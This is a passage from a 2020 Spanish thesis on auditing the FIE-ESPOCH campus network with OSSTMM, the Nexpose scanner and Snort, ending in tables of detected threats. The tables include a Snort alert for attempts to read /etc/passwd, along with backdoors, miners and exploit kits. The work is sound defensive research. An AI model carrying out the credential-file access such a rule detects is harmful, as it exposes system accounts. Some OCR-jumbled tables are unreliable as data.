Verificacion de controles

No repudio:

e Enumerar y probar el uso o las deficiencias de los demonios y los sistemas para identificar
adecuadamente y registrar el acceso o las interacciones a la propiedad para obtener
evidencia especifica para desafiar el repudio.

o Identificar los métodos de identificacion que derrotan el repudio.

Confidencialidad:

e Verificar los métodos aceptables utilizados para la confidencialidad.

Privacidad:
e  Enumere los servicios dentro del alcance de las comunicaciones o los activos transportados
mediante el uso de herramientas para proteger la privacidad de la interaccién y el proceso

de proporcionar activos solo a aquellos que estan autorizados.

Integridad:
e Enumere las deficiencias de integridad cuando utilice un proceso documentado, firmas,
cifrado, hash o marcas para garantizar que el activo no se pueda cambiar, redirigir o

revertir sin que las partes involucradas lo conozcan.

Fase 3: Investigacion

Verificacion de procesos

Indemnizacion:
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e Documentar y enumerar los objetivos y servicios que estan protegidos contra el abuso o
elusién de la pdliza del empleado, estan asegurados por robo o dafios, o usan

responsabilidad y exenciones de responsabilidad de permisos.

Verificacion de la configuracion

Mapa de Limitaciones

o  Compruebe si hay servicios / funciones innecesarios o no utilizados disponibles.

e  Compruebe las credenciales por defecto.

e Identifique si alguna vulnerabilidad conocida reside en los sistemas. (escaner de

vulnerabilidades)

Validacién de la propiedad

Mercado negro

e Verifique hasta qué punto la propiedad o la organizacion promueve, comercializa o vende
propiedad con licencia individual, privada, falsificada, reproducida, no gratuita o no
abierta.

Revision de la segregacion

Divulgacion:

o Verificar que la informacion privada y la propiedad intelectual confidencial, como
documentos, contratos de servicio, claves de SO / Software, etc. no estén disponibles para

nadie sin los privilegios adecuados.

Limitaciones:
e Verifique que existan consideraciones de disefio o alternativas de canal para que las

personas con limitaciones fisicas interacttien con el objetivo.

Verificacion de exposicion

Enumeracion de la exposicion:

e Enumere las exposiciones del sistema, servicio y aplicacion que detallan el disefio, tipo,
version o estado de los objetivos o de recursos fuera del alcance, como por ejemplo de

publicaciones o fugas.

Fase 4: Intervencion

Verificacion de cuarentena

Identificacion del proceso de contencion:
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e Identifique métodos de cuarentena para contactos agresivos y hostiles, como malware,

puntos de acceso no autorizados, dispositivos de almacenamiento no autorizados, etc.

Niveles de contencion:
o Verificar las medidas de deteccion presentes para la deteccion de intentos de acceso a los

recursos protegidos.

Validacion de supervivencia
Resistencia:
e Verifique los puntos Unicos de falla (puntos de estrangulamiento) en la infraestructura

donde el cambio o la falla pueden causar una interrupcién del servicio.

Continuidad:
o  Enumere las deficiencias de todos los objetivos con respecto a los retrasos de acceso y los
tiempos de respuesta del servicio a través de sistemas de respaldo o el cambio a canales

alternativos.

Revision de alertas y registros

Alarma:

o Verifique el uso de un sistema de advertencia, registro o mensaje localizado o de alcance
amplio para cada puerta de acceso a través de cada canal donde el personal detecte una

situacion sospechosa como elusion, ingenieria social o actividad fraudulenta.

La siguiente figura indica como se va a realizar la auditoria del canal de red de datos en el
edificio de la FIE-ESPOCH.
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Gréfico 3-2: Adaptacion de la metodologia OSSTMM para el de red de datos en la FIE-

ESPOCH
Realizado por: Byron Barragan, 2020

En la figura 5-2, el color amarillo representa la fase de induccién, donde se determina el estado
actual de la seguridad en la organizacion. En esta fase tenemos Revisién de la postura y
logistica. Como se menciond anteriormente esta fase se la realiza al igual que la auditoria del

canal humano.

El color naranja representa la fase de interaccion, en esta fase se busca calcular el valor de la
seguridad operacional o porosidad, asi como también los valores de los controles de interaccion
clase A y B, para el célculo de la porosidad se toma en cuenta la auditoria de la visibilidad,
verificacion de acceso y verificacion de confianza como se observa en la tabla 19-3, sin
embargo, por el mismo motivo que en la auditoria del canal humano no se especifica cuales son
por temas de confidencialidad para la realizacion de este trabajo. Para el calculo de los controles
de interaccion de clase A se realizan conteos que se pueden encontrar en la tabla 20-3 donde los

controles son: autenticacion, indemnizacion, resistencia, subyugacion y continuidad.

Para el célculo de los controles de interaccion clase B tenemos verificacion de procesos como

alarmas e interacciones con ellas y también verificacion de controles. Este conteo se muestra en
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la tabla 21-3. Los controles de clase B son el no repudio, confidencialidad, privacidad,

integridad.

El color Azul representa la fase indagatoria, en esta fase se busca calcular el valor de las
limitaciones, para este célculo tenemos revision de segregacion, verificacién de procesos,
verificacion de confianza y validacion de propiedad, se tiene en cuenta los valores de
vulnerabilidad, debilidad, preocupacion exposicion y anomalias como se observa en la tabla 22-
3.

Una vez calculado los valores totales se ingresa en la hoja de calculo proporcionada por la
pagina web de ISECOM vy se obtiene como resultado el valor del RAV de la seguridad en el
canal auditado, y la fase de intervencién entra en desarrollo, en esta fase lo que se hace es una
revisién de todos los valores obtenidos esto en los puntos de verificacion de cuarentena,
verificacion de exposicién después se interpreta el resultado del RAV para generar acciones
correctivas basado en la fase de induccion en verificacion de accesos o también generar alertas

segun el resultado obtenidos.

2.2.5. Nexpose como escaner de vulnerabilidades de red en el edificio de la FIE-ESPOCH

Para encontrar las vulnerabilidades se va a utilizar el escaner Nexpose desarrollado por Rapid?7.
Este escéner cuenta con una interfaz grafica de usuario via portal web, es aqui donde se puede
crear sitios para escaneo, programar analisis y gestionar las vulnerabilidades que se encuentren
ademas de generar reportes para una exposicion de la situacion actual de la seguridad que se
encuentra la organizacion. Concretamente en el edifico de FIE-ESPOCH se instal6 el escaner en
una maquina virtual con distribucion CentOS 7 la misma maquina que se utiliza para el analisis
del trafico en las Vlans. Una vez instalado se define cada sitio de escaneo es decir un sitio para
cada Vlan, indicando el tipo de escaneo y también dando permisos con las credenciales
adecuadas para que el escaneo sea completo. Los resultados se presentan en la interfaz de

usuario y se genera un reporte de los resultados para su analisis y gestion.

2.2.5.1. ¢ Por qué Nexpose?

El escéaner Nexpose se considera como lider en el sector del escaneo de vulnerabilidades debido
a extensa y actualizada base de datos de vulnerabilidades de Rapid7. (Villora, 2018 p. 37).

A continuacién, se muestra una tabla comparativa de herramientas de escaner de
vulnerabilidades de red y de aplicaciones web realizada por Henry Quishpe en su trabajo de

titulacion. A esta tabla se le suma las caracteristicas de Nexpose.
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Tabla 3-2: Comparacion de escaner de vulnerabilidades

Caracteristicas Nessus OpenVas | OWASP Retina Nexpose
Licencia Libre/Pagada Libre Libre Libre/Pagada | Libre/Pagada
Multiplataforma Si Si Si Si Si
Tiempo promedio ]

A Corto Largo Corto Medio Largo
de un analisis
Clasificacion de ) ] ] ] ]
. Si Si Si Si Si
vulnerabilidades
Presenta
soluciones a las Si Si Si Si Si
vulnerabilidades
Configuracion Féacil Fécil Dificil Fécil Fécil
Exportacion  de PDF, PDF, HTML,
HTML, CSV, | PDF,
resultados HTML, | PDF, HTML, | XML, CSV.
Nessus y | HTML, ]
XML, XML, etc. Variedad en
Nessus data. XML, etc.
CSVv. reportes.
Programacion de ) ) ) ) )
Si Si Si Si Si
escaneos
Soporte Unica Varias Varias Unica Unica
empresa empresas | empresas empresa empresa
Consumo de ) ) ] ) ]
Bajo Medio Bajo Medio Medio
recursos
Escaneo a ] ] No, solo ) )
) ] Si Si Si Si
cualquier equipo para web

Fuente: (Quishpe, 2016, p. 51)

Realizado por: Byron Barragén, 2020

Para la seleccién se realiza un analisis de las caracteristicas que tiene cada herramienta de

gestién de vulnerabilidades, entre las caracteristicas que se evallan se tiene:

Tipo de licencia, la Tabla 4-2 muestra los tipos de licencia con su respectivo valor.

Tabla 4-2: Valoracion considerada para tipos de licencia

Tipo de Licencia

Libre

Libre/Pagada

Pagada

Valoracién

3

2

1

Realizado por: Byron Barragan, 2020

Tiene capacidad de funcionar en varias plataformas, la Tabla 5-2 muestra la valoracion para esta

caracteristica.
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Tabla 5-2: Valoracién considerada para la caracteristica multiplataforma

Multiplataforma Si No

Valoracién 2 1

Realizado por: Byron Barragan, 2020

Integracion con la herramienta metasploit, para la explotacion de las vulnerabilidades
encontradas. La Tabla 6-2 muestra la valoracién considerada.

Tabla 6-2: Valoracion considerada para la caracteristica Integracion con Metasploit

Integracion con Metasploit Si No

Valoracién 2 1

Realizado por: Byron Barragan, 2020

Tiempo del escaneo, aqui se considera un mayor tiempo de escaneo como mayor valoracion ya
que se relaciona con la comparacién con un repositorio mas amplio en vulnerabilidades. La

Tabla 7-2 muestra la valoracién considerada.

Tabla 7-2: Valoracion considerada para la caracteristica Tiempo de escaneo

Tiempo de escaneo Corto Medio Largo

Valoracion 1 2 3

Realizado por: Byron Barragan, 2020

Variedad en tipos de reporte que se puede generar con los resultados, la Tabla 8-2 muestra la
valoracion considerada, esta informacién es tomada de la pagina web de la empresa essays

Professors en la cual se presenta una comparacion entre Nessus y Nexpose. (Essays Professors,
2020)

Tabla 8-2: Valoracion considerada para la caracteristica Variedad de reportes

Variedad de reportes Si No

Valoracién 2 1

Realizado por: Byron Barragén, 2020

Se evalla ademas el contenido de los reportes generados, esta informacion se tomé de una
publicacién en la revista Informacion tecnoldgica Volumen 24. La Tabla 9-2 muestra la

valoracion considerada. (Franco et al, 2013, p 13-22)

Tabla 9-2: Valoracion considerada para la caracteristica contenido de los reportes

Contenido de los . .

Bajo Medio Alto
reportes
Valoracién 1 2 3

Fuente: (Franco et al, 2013, p 13-22)
Realizado por: Byron Barragan, 2020
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Consumo de recursos por parte de la herramienta, en la Tabla 10-2 se muestra la valoracion

considerada

Tabla 10-2: Valoracion considerada para la caracteristica de consumo de recursos

nsum . .
Consumo de Bajo Medio Alto
recursos
Valoracién 3 2 1

Realizado por: Byron Barragan, 2020

Mayor numero de vulnerabilidades detectadas, esta informacion se tomé de pagina web de la
empresa essays Professors (Essays Professors, 2020) Y la revista Informacion tecnolégica Volumen

24 (Franco et al, 2013, p 13-22). La Tabla 11-2 muestra la valoracién considerada.

Tabla 11-2: Valoracion considerada para la caracteristica de mayor nimero de vulnerabilidades
detectadas

Mayor nimero de

vulnerabilidades Bajo Medio Alto

Valoracion 1 2 3

Realizado por: Byron Barragan, 2020

Considerando las caracteristicas y las valoraciones mostradas en las tablas desde la 4-2 hasta
11-2 se compara las herramientas: Nexpose considerado como lider segun Villora y Nessus su
principal competidor, para su aplicacion en este trabajo de titulacién obteniéndose lo que se

muestra a continuacion en la Tabla 12-2

Tabla 12-2: Comparacion de las caracteristicas de Nessus y Nexpose

Caracteristica Nessus Nexpose

Licencia 2 2

Multiplataforma

Integracion con Metasploit

Tiempo de escaneo

Variedad de reportes

Contenido de reportes

Consumo de recursos

RN N
NN w| N w| NN

Mayor  deteccion de
vulnerabilidades.

Total 13 18

Realizado por: Byron Barragan, 2020

Como se observa en la Tabla 12-2 la herramienta Nexpose tiene una valoracion mayor por lo

que se utiliza para un escaneo en el edificio de FIE-ESPOCH y determinar las vulnerabilidades.
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Entre las caracteristicas de Nexpose se puede mencionar la capacidad de funcionar en varias
plataformas incluido maquinas virtuales, del mismo modo el analisis y escaneo de
vulnerabilidades se en maquinas fisicas, virtuales e incluso en la nube.

Nexpose posee una plataforma altamente integrada, con capacidades de gestionar casi todos los
aspectos de la seguridad de una empresa. (Quishpe, 2016, p. 40)

Cuenta con extensas bases de datos de vulnerabilidades y un eficiente sistema de puntuacién
propio ademas de una interfaz muy amigable e intuitiva. (Quishpe, 2016, p. 41)

Nexpose cuenta con dos versiones una de pago y una libre, para la aplicacion en este trabajo se
toma en cuenta la version libre con una versién de prueba de 30 dias, cabe indicar que la
diferencia entre la versidn libre y la version pagada es la cantidad de activos que puede analizar
al mismo tiempo, mientras que la versién pagada puede analizar un nimero indefinido, la

version libre analiza solo 32, es decir 32 direcciones IP.

Después del escaneo se presenta en la interfaz gréfica los resultados obtenidos, todas las
vulnerabilidades encontradas en los equipos del sitio creado. El siguiente paso es generar un
reporte de todas las vulnerabilidades obtenidas, Nexpose no se centra en la calidad de los
informes, pero muestra la informacion necesaria para entender el riego al que esta expuesto el
sitio escaneado. En estos reportes se muestra también las soluciones para las vulnerabilidades
encontradas, es con la informacién de estos reportes que se pretende elaborar la guia de solucion
para las vulnerabilidades que presenten mas riesgo en la red del edificio de la FIE-EPOCH. Es
por esto y también la compatibilidad de Nexpose con Metasploit la razén de la eleccion de

Nexpose para el escaneo de la red.

2.2.5.2. Instalacion de Nexpose

Nexpose se instala en una maquina virtual de CentOS 7 del servidor utilizado para el analisis de
amenazas de las Vlans es decir, en una maguina por Vlan, el proceso de instalacion y logeo se
lo puede encontrar detallado en la pagina de Rapid7
https://nexpose.help.rapid7.com/docs/install#section-linux, todos los archivos necesarios para la
instalacion se los descarga desde la misma pégina teniendo encuentra el sistema operativo en
donde se va a instalar, para este caso Linux. Para obtener una key de prueba de Nexpose por 30
dias se debe registrar en Nexpose y la key llegara al correo de registro. Con todos estos
requisitos se procede a la instalacion donde lo primero que se debe hacer es asegurarnos que el
paquete screen este en el sistema, de no ser ese el caso se lo debe instalar con la siguiente linea

de comando.
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yum install screen

Luego debemos tener el instalador y el archivo de comprobacion en el mismo directorio, desde
una ventana de terminal ingresar al directorio en donde se encuentran los archivos y ejecutamos

reemplazando el nombre del instalador lo siguiente.

md5sum -c <installer_file_name>.md5sum

La respuesta de este comando debe ser OK de no ser asi se debe descargar el instalador
nuevamente. Luego ejecutar lo siguiente para modificar los permisos del instalador

reemplazando con el nombre del instalador.

chmod +x <installer_file_name>

Finalmente se ejecuta el instalador y siga las instrucciones de este indicando las credenciales de

logeo.

J<installer_file_name>

Una vez instalado, desde el navegador se conecta a la interfaz de usuario de Nexpose
ingresando a https://localhost:3780. Después de ingresar a la interfaz aparecera un mensaje de
inicio de sesion donde se ingresa las credenciales que se indicaron durante la instalacion,
después de iniciar sesién correctamente ingresa la key de activacion enviada al correo y estara

listo para configurar y escanear la red.

2.3.  Etapa 2: Explotacion

En la etapa de explotacion se selecciona las vulnerabilidades y amenazas en base a los
resultados obtenidos en los analisis del trafico de la red del edificio, es decir, ataques y
amenazas detectadas y, ademas, el reporte generado por la herramienta Nexpose como resultado
de las pruebas de la metodologia OSSTMM en el canal de red de datos. En el reporte se tendra
mas a consideracion las vulnerabilidades que se relacionen a la capa de transporte,
vulnerabilidades mas comunes y las mas riesgosas. De igual manera en el analisis de trafico se
definen los ataques mas comunes y se replican en el escenario virtual. Todo esto basado ademas
en lo revisado en la seccion 2.2.1 y los resultados de amenazas y vulnerabilidades tratadas en la

investigacion del grupo SEGINTE.
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Debido a que la explotacién puede comprometer la seguridad y el estado de los equipos fisicos
reales en el edificio ademas de no contar con el permiso adecuado para esta etapa, se decidio
realizar la etapa de explotacion en un escenario virtual desarrollado en el simulador GNS3 en el
cual se encuentren las vulnerabilidades ya seleccionadas previamente. Este proceso sirve como
punto de partida para las pruebas acerca de amenazas y vulnerabilidades en escenarios reales
controlados del grupo de investigacion SEGINTE. La simulacion se realiza en una
computadora marca Alienware 17 R5 con procesador Intel(R) Core (TM) i9-8950hk CPU @

2.90 GHz de octava generacién con 32 Gb de memoria ram.

2.3.1. Metasploit

Metasploit merece una mencion aparte entre los productos de Rapid7, al tratarse del famoso
software para tests de penetracion de equipos de seguridad ofensiva. Este producto es
considerado sin lugar a duda el mejor en su area y es utilizado por todo el mundo por su gran

base de datos de exploits proveniente de Rapid7 y su versatilidad para realizar ataques.
(Villora, 2018 p. 37)

Para explotar las vulnerabilidades se usara algunos médulos de metasploit para asi hacer ataques

segun los resultados de los andlisis, pruebas y escaneos.

2.4.  Etapa 3: Solucién

Para la etapa 3: solucién se propone una guia de solucién indicando pasos a seguir para las
vulnerabilidades y amenazas seleccionadas y explotadas en la etapa anterior. Para evaluar la
guia se realizara una comparacion del antes y después de la aplicacion de la guia en el escenario
virtual. Se evaluara si se puede explotar o no la vulnerabilidad o amenaza con los valores: Si,

No o Se detecto.
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CAPITULO I

3. RESULTADOS Y ANALISIS

3.1.  Resultados de la etapa 1: Determinar Vulnerabilidades

3.1.1. Amenazas detectadas en la red del edificio de la FIE-ESPOCH

La cantidad de amenazas detectadas en las tres Vlans difieren siendo la Vlan Estudiantes la que
tiene mas variedad de amenazas seguida de la Vlan Docentes y Administrativos, sin embargo, la
cantidad de alertas generadas en la VIan Docentes es mucho mayor con respecto a las otras, esto
es debido a que en esta Vlan una amenaza generaba varias alertas lo que indica un ataque
continuo que duraba alrededor de una a dos horas, concretamente un troyano criptominero y un
malware como se ver4 mas adelante. Esto no se daba en las Vlans Estudiantes y Administrativos

siendo esta Ultima en la que menos alertas y amenazas se detectaron.

3.1.1.1. Amenazas detectadas en la VLAN Estudiantes

Para el caso de la Vlan Estudiantes y gracias a la ayuda de la Direccion de Tecnologias de la
Informacién y Comunicacion de la ESPOCH, el andlisis tuvo una primera prueba el 2 de mayo
de 2019 aproximadamente a las 8 AM, se analiz6 el trafico durante todo el dia con la finalidad
de comprobar el funcionamiento, registro de alertas y paquetes. El analisis se hizo en dos
periodos; el primero inicié el 6 de mayo a las 8 AM y culmind el 7 de junio, el segundo periodo
inicié el 8 de junio y termind el 7 de julio, siendo estos periodos los que mas carga maneja la
red del edifico con un promedio de 77 equipos activos en la Vlan, esta informacion se puede
observar con mas detalle en el anexo A. El procedimiento que se siguid es el que se menciond

en el capitulo 2, se obtuvieron los siguientes resultados:

Tabla 1-3: Resumen de paquetes analizados por Snort en la VVlan Estudiantes

Primer Periodo
Descripcion # de paquetes Porcentaje del total
Total paquetes recibidos 14985362784 100%
Total paquetes analizados 14221538803 94,90%
Total paquetes Drop 763823981 5,09%
Segundo Periodo
Total paquetes recibidos 12825235869 100%
Total paquetes analizados 12662984676 98,73%
Total paquetes Drop 162251193 1,26%

Realizado por: Byron Barragan, 2020
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En la tabla 1-3 se observa la cantidad de paquetes que recibid Snort de los cuales en el primer
periodo analizo el 94,90% teniendo un porcentaje de drop de paquetes de 5,09% este porcentaje
relativamente alto de drop de paquetes es debido a que Snort por defecto tiene configurado una
longitud de cola predeterminada y algunos paquetes son demasiado grandes en data excediendo
este limite haciendo que Snort haga un esfuerzo extra para analizar el paquete y en algunos
casos se descarta haciendo que en consola aparezca una mensaje que indica la presencia de
paquetes demasiado grandes para el analisis. En el segundo periodo se afiadi6 mas reglas
registradas de usuario Snort al archivo de configuracion y ademéas se aument6 la longitud de
cola predeterminada, concretamente se duplicé utilizando el comando cc set ips snortsettings
max_queued_bytes 2097152 gracias a esto el porcentaje de drop de paquetes de este periodo
baj6 a 1,26% analizando el 98,73% de los paquetes recibidos por Snort. La informacién

detallada de este registro de paquetes se puede encontrar en el anexo B.

Snort ademas de mostrar una estadistica de paquetes analizados también muestra la cantidad de
paquetes analizados por protocolo, teniendo en cuenta la capa de transporte se registro la
cantidad de paquetes TCP, UDP, TCP6, UDP6 y su porcentaje del total de paquetes analizados,
de igual manera esto se puede encontrar en el anexo B. En el anexo C se muestra como Snort

presentaba los resultados del analisis. En la tabla 2-3 se encuentra un resumen.

Tabla 2-3: Resumen de paguetes analizados de la capa de transporte en la Vlan Estudiantes

Primer Periodo

Descripcion # de paquetes Porcentaje del total
Total paquetes TCP 11585999571 77,32%
Total paquetes UDP 1279268131 8,54%
Total paquetes TCP6 875117340 5,84%
Total paquetes UDP6 199491190 1,33%
Segundo Periodo
Total paquetes TCP 11178320367 87,16%
Total paquetes UDP 576667337 4,50%
Total paquetes TCP6 255697924 1,99%
Total paquetes UDP6 203551224 1,59%

Realizado por: Byron Barragén, 2020

La cantidad de alertas se registrd todos los dias a las 9 AM, cabe indicar que las alertas de los
fines de semana se registraban los lunes, asi como también la cantidad de paquetes que se
analizaron, sin embargo, no se presentaron alertas a excepcion del sabado 19 de mayo en donde
se registrd una, esta alerta sumada a las 6 que se registraron el dia 2 de mayo suman un total de
985 para el primer periodo. En el segundo periodo se registr6 21 alertas el sabado 22 de junio y
se las sumo al dia 24 de junio, estas alertas en conjunto con las demas registradas suman 123

para el segundo periodo. En la tabla 3-3 y la tabla 4-3 se presenta un resumen de las alertas
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registradas por dia en el primer periodo y segundo periodo respectivamente. En el anexo D se

encuentra esta informacion mas detallada.

Tabla 3-3: Resumen de alertas registradas en la Vlan Estudiantes en el primer periodo
Semanal Semana 2 Semana 3 Semana 4 Semana 5

Fecha | Alertas | Fecha | Alertas | Fecha | Alertas | Fecha | Alertas | Fecha | Alertas
06/05 157 13/05 3 20/05 62 27/05 4 03/06 4
07/05 41 14/05 363 21/05 20 28/05 2 04/06 1
08/05 60 15/05 14 22/05 11 29/05 4 05/06 6
2
5

09/05 3 16/05 3 23/05 5 30/05 06/06 13
10/05 194 17/05 1 24/05 | Feriado | 31/05 07/06 0
Total 455 Total 384 Total 98 Total 17 Total 24

Realizado por: Byron Barragan, 2020

Tabla 4-3: Resumen de alertas registradas en la Vlan Estudiantes en el segundo periodo

Semana 1 Semana 2 Semana 3 Semana 4 Semana 5
Fecha | Alertas | Fecha | Alertas | Fecha | Alertas | Fecha | Alertas | Fecha | Alertas
1006 | 17/06 1 24105 | o7 0107 | 5 | 06/07 0
11/06 | ¢ 18/06 6 25/05 3 02/07 1 07/07 0
12/06 | 35 | 19/06 | 17 | 26/05 1 0307 | o |0807]
13/06 5 20/06 13 27105 1 04/07 0
14/06 9 21/06 2 28/05 3 05/07 0
Total 49 Total 33 Total 35 Total 6 Total 0

Realizado por: Byron Barragén, 2020

Como se puede notar la cantidad de alertas registradas en el segundo periodo disminuy6
considerablemente en comparacién al primer periodo, esto se da porque el periodo académico
estaba por terminar por lo que los laboratorios fueron utilizados para evaluaciones finales a los
estudiantes mas no para impartir clases. Debido a estos se detuvo el analisis ya que la ESPOCH

entro en receso académico.

Las amenazas que se registraron son variadas en esta Vlan, en general se registro presencia de
malware, troyanos, archivos basura, uso de exploit y ejecucion de scripts maliciosos los cuales
fueron detectados por Snort en el trafico de la Vlan. Las direcciones IP que se registraron fueron
distintas, es decir los objetivos fueron distintas computadoras conectadas en la Vlan
Estudiantes. En algunos casos una vez que se registraban las alertas estas continuaban
mostrandose en pantalla por lo que se registraba una hora de inicio y fin del ataque

independientemente de la cantidad de alertas que aparecieron en pantalla ya que pertenecian al
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mismo ataque, un ejemplo es el que ocurri6 el 14 de mayo siendo el dia con mayor nimero de
alertas registradas en primer periodo y el dia 12 de junio para el segundo periodo. En la tabla 5-
3 se muestra un resumen de todas las amenazas detectadas por Snort en el periodo con su

respectivo identificador de alerta de Snort.

Tabla 5-3: Resumen de amenazas registradas en la Vlan Estudiantes en el primer periodo
Identificador Significado Descripcion
Redirige a un sitio malicioso que

muestra advertencias que indican que
1-40357:3 Troyano Instantaccess.exe su computadora esta infectada y que
necesita ejecutar el analisis instant-
access.exe de inmediato.

Este evento se genera cuando una
estructura de URL coincide con la
estructura utilizada por el kit de
explotacién de Angler.
Implementacién del Backdoor
Doublepulsar, se puede utilizar para
gjecutar malware en la maquina

1-31046:6 Exploit kit

1-43459:2 Malware Win.Trojan.Doublepulsar

victima.
o Gran  afluencia  de  paquetes | Snort no puede analizar debido a su
Sin identificar . . L .
demasiados grandes. configuracion de cola predeterminada.

Es un archivo ejecutable que forma
parte  de BitcoinMiner desarrollado
por Ufasoft. Este evento se genera
cuando la muestra del minero se ha
descargado y ejecutado en la PC
infectada.

Este evento se genera cuando XMRig
1-45549:1 | Troyano Criptominero XMRig intenta iniciar sesion en una API de
grupo de mineria jsonrpc.

Este evento se genera cuando se
detecta Win.Trojan.Ramnit en una
red. El troyano Ramnit hace que los
1-48080:1 | Troyano Ramnit equipos infectados operen como una
botnet  centralizada, aunque su
arquitectura implica la divisién en
otras redes independientes.

Este evento se genera cuando una
computadora con Slimware instalado
1-46486:1 | Troyano Littlelnstaller se comunica con el servidor de control
para actualizaciones. Provoca
anuncios no deseados.

Intento de robo de informacion|Microsoft Edge permite a los
1-41573:4 | utilizando vulnerabilidades de | atacantes remotos obtener
Microsoft Edge informacién confidencial a través de

1-46237:1 | Troyano Criptominero Miner64
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un sitio web disefiado, también
conocido como "Vulnerabilidad de
divulgacion de informacion  de
Microsoft Edge". Esta vulnerabilidad
se asocia a windows 10

1-41337:2

Malware Sysch

Este evento se genera cuando se
detecta actividad relacionada con
malware.

Una  aplicacion  que  realiza
secretamente otras acciones que
afectan la informacion personal o
confidencial almacenada en el
dispositivo, y / o el control del
dispositivo. Estd asociado con el
sistema operativo Android.

1-40356:3

Troyano Instantaccess.exe en su
version antigua

Redirige a un sitio malicioso que
muestra advertencias que indican que
su computadora esta infectada y que
necesita ejecutar el analisis instant-
access.exe de inmediato.

1-35549:1

Malware Troyano ZeuS

Este troyano es utilizado para instalar
el ransomware CryptoLocker en una
maquina victima.

1-35030:1

Troyano Zbot o Zeus, indistintamente
de su version

Una version del malware troyano
Zeus. Este troyano es utilizado para
instalar el ransomware CryptoLocker
en una maguina victima.

1-25074:1

Troyano Banker

Troyanos que roban informacion
bancaria de un sistema afectado.

1-23605:12

Archivo malicioso.

Denominado Armadillo, poca
informacion acerca de esta alerta se
sabe que es de origen ruso

1-47102:1

Uso de Exploit

Este evento se genera cuando un
atacante  intenta  explotar  una
vulnerabilidad de confusidn de tipo en
Microsoft Edge o CVE-2018-8298

1-46659:2

Uso de Exploit

Intento de explotar un doble gratis en
Adobe Acrobat Reader.

1-32691:1

Uso de script

Intento de denegacion de servicio
utilizando internet Explorer

Realizado por: Byron Barragan, 2020

Al revisar la tabla 5-3 se observa variedad en las amenazas, destacando el intento de ataque de

denegacidn de servicios que se registro el 30 de mayo, el ataque para la ejecucion del Backdoor

Doublepulsar explotando la vulnerabilidad del protocolo SMB en todas sus versiones que a su

vez esta relacionado con ransomware y también las amenazas de robo de informacion bancaria.

La alerta que mas se registré en el primer periodo es 1-41573:4, una vulnerabilidad de Windows
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10. Cabe indicar que el sistema operativo instalado en las computadoras del edificio durante el
analisis fue Windows 7 hasta que migraron a Windows 10 al iniciar el siguiente periodo
académico, sin embargo la vulnerabilidad 1-41573:4 pertenece a Windows 10 y es debido a que
los estudiantes conectaban un cable de red a sus computadoras portatiles las cuales tiene
instalado el sistema operativo Windows 10, al conectarse y asignarles una direccion IP mediante
DHCP se conectaba a la Vlan Estudiantes y Snort detectaba el trafico y la amenaza. Muchas de
las amenazas detectadas se relacionan con el uso de internet, los estudiantes de manera no
intencionada abrieron paginas sospechosas infectando la red por lo que se consideran insiders
no intencionados. La cantidad de veces que se registro una alerta en el primer periodo se puede

observar en el anexo E.

En el segundo periodo las alertas registradas disminuyeron por los motivos antes mencionados.

En la tabla 6-3 se presenta un resumen de las amenazas detectadas en el segundo periodo.

Tabla 6-3: Resumen de amenazas registradas en la Vlan Estudiantes en el segundo periodo
Identificador Significado Descripcion
Es un archivo ejecutable que forma

parte  de BitcoinMiner desarrollado
por Ufasoft. Este evento se genera
cuando la muestra del minero se ha
descargado y ejecutado en la PC
infectada.

Software no deseado. Algunos
programas no deseados intentan
parecer inocentes para convencerlo de
1-40060:1 | Troyano Hadsruda que los instale en su PC. Pueden
realizar cambios en su PC sin su
consentimiento, o comprometer el
rendimiento de su PC.

Este evento se genera cuando XMRig
1-45549:1 | Troyano Criptominero XMRig intenta iniciar sesion en una API de
grupo de mineria jsonrpc.

Este evento se genera cuando una
computadora con Slimware instalado
1-46486:1 | Troyano Littlelnstaller se comunica con el servidor de
control para actualizaciones. Provoca
anuncios no deseados.

Archivo Adobe Acrobat Reader JPEG
1-43909:3 | Uso Exploit 2000, intento de corrupcion de
memoria de mosaico.

Este evento se genera cuando se
1-46894:1 | Gusano SysinfY2X observa una solicitud HTTP GET
saliente que coincide con el URI

1-46237:3 | Troyano Criptominero Miner64
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utilizado por SysinfY2X / Forbix para
descargar y ejecutar programas
maliciosos en una computadora
infectada.

1-40356:3

Troyano Instantaccess.exe en su
version antigua

Redirige a un sitio malicioso que
muestra advertencias que indican que
su computadora estd infectada y que
necesita ejecutar el andlisis instant-
access.exe de inmediato.

1-41573:4

Intento de robo de informacion
utilizando vulnerabilidades de
Microsoft Edge

Microsoft Edge permite a los
atacantes remotos obtener
informacién confidencial a través de
un sitio web disefiado, también
conocido como "Vulnerabilidad de
divulgacion de informacion de
Microsoft Edge". Esta vulnerabilidad
se asocia a windows 10

1-23605:12

Archivo malicioso.

Denominado Armadillo, poca
informacién acerca de esta alerta se
sabe que es de origen ruso.

1-8470:19

superspy 2.0 beta

Ejecucion de un Backdoor en la
maquina victima.

1-31289:5

Intento de obtener acceso Server-
WEBAPP

SERVER-WEBAPP /etc/passwd Este
evento se genera cuando se observa
una respuesta del servidor HTTP que
contiene datos de un archivo / etc /
passwd. Intento de obtener acceso a
ese path.

1-47519:1

Ejecucion de cddigo remoto

Ejecucion remota de cddigo a la
biblioteca de fuentes de Windows. Un
atacante que explotd con éxito la
vulnerabilidad podria tomar el control
del sistema afectado. Un atacante
podria entonces instalar programas;
ver, cambiar, o eliminar datos; o crear
nuevas cuentas con plenos derechos
de usuario.

1-32691:1

Uso de script

Intento de denegacion de servicio
utilizando internet Explorer

1-31407:4

Ejecucion de cddigo arbitrario

Vulnerabilidad de uso después de
libre en Adobe Reader y Acrobat 10.x
antes del 10.1.10 y 11.x antes del
11.0.07 en Windows y OS X permite
a los atacantes ejecutar cddigo
arbitrario a través de vectores no
especificados.

1-46371:1

Moonify TLS server hello

Respuesta del servidor para iniciar
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una conexion ssl con servidores de
mineria de datos de criptomoneda

Este evento se genera cuando un
marcador APP13 con formato
Adobe Acrobat Pro tamafio de |incorrecto en JPEG que, cuando esta

1-44912:2

marcador invalido APP13. incrustado en XPS, provoca una
lectura no valida en Adobe Acrobat
Pro.

Realizado por: Byron Barragan, 2020

La amenaza que mas se registré en este periodo fue la de intento de robo de informacion 1-
41573:4 utilizando una vulnerabilidad de Windows 10 que como se mencioné antes se aplica
mas a las computadoras portatiles de los estudiantes, los troyanos mas registrados son 1-
35549:1 y 1-35030:1, son troyanos que consumen los recursos de la computadora haciéndola
mas lenta, en el periodo anterior también se detectaron, pero con mas frecuencia es el primer
periodo. A diferencia del periodo anterior en este hay mas variedad de amenazas, muchas de
ellas siendo la ejecucion de cédigo arbitrario valiéndose de vulnerabilidades de aplicaciones
como Adobe. De igual manera las amenazas detectadas se relacionan con internet por lo que los
